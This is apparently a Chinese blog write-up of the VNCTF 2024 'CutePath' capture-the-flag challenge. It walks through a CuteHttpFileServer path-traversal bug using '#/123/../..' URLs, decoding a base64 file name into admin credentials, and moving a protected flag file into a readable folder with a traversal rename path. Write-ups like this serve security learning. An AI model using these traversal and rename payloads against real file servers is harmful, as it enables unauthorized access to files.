VNCTF 2024 CutePath复现

VNCTF 2024 CutePath复现

参考:

http://iscute.cn/chfs

wp参考:

VNCTF 2024 Web方向 WP-CSDN博客

VNCTF官方WP

场景:

image-20240219142446952

信息收集:

查看一下test.txt:

image-20240219142705630

没有有用信息,不过可以得到我们普通用户对该文件夹下具有下载和查看文件的权限。

登录:

这里有一个登录框,不过我比赛的时候已经用bp试过爆破,没有爆出来。

使用搜索框进行目录穿越寻找关于flag的文件:

payload1:

1
../../../../../../../../../../../flag

image-20240219143006124

payload2:

1
../../../../../../../../../../../flag.txt

image-20240219143032575

没有发现flag相关信息,有可能是普通用户没有查看根目录文件的权限。

CuteHttpFileServer漏洞介绍:

github可以找到相关项目:

image-20240219163621016

查看issues:

(以后安全性问题可以直接在github上找)

image-20240219163659087

可以找到关于该项目的安全性问题:

image-20240219150812126

1
可以通过http://192.168.3.2/#/123/../.. 这样的方式访问到根目录的上层文件夹,相当于将系统文件全部暴露,只是无法下载,但是仍可查看目录文件名等信息

payaload:

1
2
3
url/#/123/../..

url/#/../..

使用漏洞访问网址:

1
http://manqiu.top:20694/#/../

image-20240219142313239

根据网页的回显信息,我们得知当前所在目录为网页的根目录,继续信息收集,对每个文件夹和文件进行查看

查看share_main文件夹:

image-20240219142524611

发现就是我们网页的开题场景,这里的test.txt文件是可以被下载查看的。

查看YWRtaW46Z2RnbS5lZHUuY25ATTFuOUsxbjlQQGFz文件:

首先这个文件名就十分可疑,很像是一个base64加密,对于可疑的文件名我们需要先进行信息收集

对文件名进行base64解码:

1
2
3
YWRtaW46Z2RnbS5lZHUuY25ATTFuOUsxbjlQQGFz
=>
admin:gdgm.edu.cn@M1n9K1n9P@as

image-20240219143909836

发现这个文件名解码出来的内容很像是一个账户信息:

1
2
username=admin
password=gdgm.edu.cn@M1n9K1n9P@as

尝试使用可疑的账户信息登录:

image-20240219144101562

登录结果:

image-20240219144126715

真的可以进行登录,而且还是管理员账户。

查看其他文件:

image-20240219144241275

不过其他文件在普通用户的权限下没有查看和下载的权限,反正就是点进去什么都没有。

使用管理员账户对网站再次进行信息收集:

还是先利用漏洞查看一下根目录信息:

1
http://manqiu.top:20694/#/../

image-20240219144543180

没有什么变化emmm,而且cfg.ini和chfs文件同样访问的时候是404 page not found。

不过我们现在可是admin账户,所以对网站的查看操作权限应该得到了提升,所以还是用搜索框再查找一下flag相关文件。

使用admin账户利用搜索框进行目录穿越:

payload1:

1
../../../../../../../flag.txt

选择在整个服务器中搜索:

image-20240219150032709

没有发现文件。

payload2:

1
../../../../../../../flag

image-20240219150131397

依然没有发现相关文件。

目录穿越还可以通过网页的url进行穿越:

我们可以利用CuteHttpFileServer的漏洞访问到根目录的上层文件夹

直接穿越获取flag相关文件信息:

payload1:

1
http://manqiu.top:20694/#/123/

image-20240219151401573

payload2:

1
http://manqiu.top:20694/#/123/../

image-20240219151507189

payload3:

1
http://manqiu.top:20694/#/123/../../

image-20240219151541386

payload4:

1
http://manqiu.top:20694/#/123/../../../

image-20240219151617669

payload5:

1
http://manqiu.top:20694/#/123/../../../../

image-20240219151730578

payload6:

1
http://manqiu.top:20694/#/123/../../../../../

image-20240219151812266

在往上就没有文件了,所以在payload5的时候已经是最上层的系统文件目录了。

打开payload5访问到的文件夹下的flag文件夹:

image-20240219152324645

在打开flag文件夹下的flag文件夹:

image-20240219152359820

打开flag.txt文件:

image-20240219152425073

我们没有权限查看文件。

使用管理员账户登录后再次查看:

image-20240219152640558

登录admin账户以后我们可以发现,我们多了很多格外的权限:上传文件、上传目录、新建文本、新建目录以及重命名文件和编辑文件的权限:

image-20240219152814866

image-20240219152829518

尝试打开flag.txt文件:

image-20240219153430282

还是没法查看emmm,这个文件夹下连admin账户都没法查看,看了网上师傅的wp说是要把文件重命名到share_main文件夹中,因为share_main文件夹中的test.txt文件我们是可以打开的,说明在该文件夹下所有用户都有查看下载文件的权限。

文件重命名漏洞:

linux重命名命令:

1
2
3
4
5
6
7
mv old_file.txt new_file.txt

解释:
在 Linux 系统中,可以使用 mv 命令来重命名文件或者将文件移动到另一个位置。要重命名一个文件,你可以将原文件名作为第一个参数,新文件名作为第二个参数传递给 mv 命令。

如果只是想重命名文件而不改变其位置,可以将新文件名保持与原路径相同,这样文件将被重命名而保留在原始目录中。
请注意,mv 命令也可以用于将文件从一个目录移动到另一个目录。如果你想同时移动并重命名文件,只需将新的文件路径作为第二个参数传递给 mv 命令即可。

所以文件重命名的本质就是对当前文件进行移动,如果移动到当前文件夹,就只改文件名,如果移动到其他文件夹,就将文件名改为其他文件夹的路径加上文件命(文件名可以自定义)

实例:

image-20240219161853453

利用重命名漏洞将flag.txt文件移动到share_main文件夹下:

先获取share_main的路径:

1
2
3
http://manqiu.top:20779/#/123/../../

http://manqiu.top:20779/#/123/../../../..//home/ming

image-20240219155601398

image-20240219160344597

flag.txt所在目录:

1
http://manqiu.top:20779/#/123/../../../../flag/flag

image-20240219155744177

分析推断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://manqiu.top:20779/#/123/../../
http://manqiu.top:20779/#/123/../../../../flag/flag

flag.txt
=>../:flag
=>../../:flag
=>../../../:最上级目录

share_amin:
http://manqiu.top:20779/#/123/../../../..//home/ming
./:ming
../:home
../../:最上级目录

所以flag.txt的重命名路径为:
../../../=>最上级目录
../../../home/ming/share_main/readflag.txt=>这里readflag.txt为我们自定义的

重命名:

1
../../../home/ming/share_main/readflag.txt

image-20240219162223188

响应结果:

image-20240219162256643

重命命之后,文件果然被移动了。

访问share_main文件夹:

1
2
http://manqiu.top:20779/
由于网站开题界面就是share_main下,所以直接访问就可以,而且直接访问的开题页面是可以打开文件的

image-20240219162447294

打开readflag.txt文件:

image-20240219162514274

flag=VNCTF{564e406840636b3156315f6764676d}


VNCTF 2024 CutePath复现
http://example.com/2024/02/25/2024-2-25-VNCTF 2024 CutePath复现/
作者
South
发布于
2024年2月25日
许可协议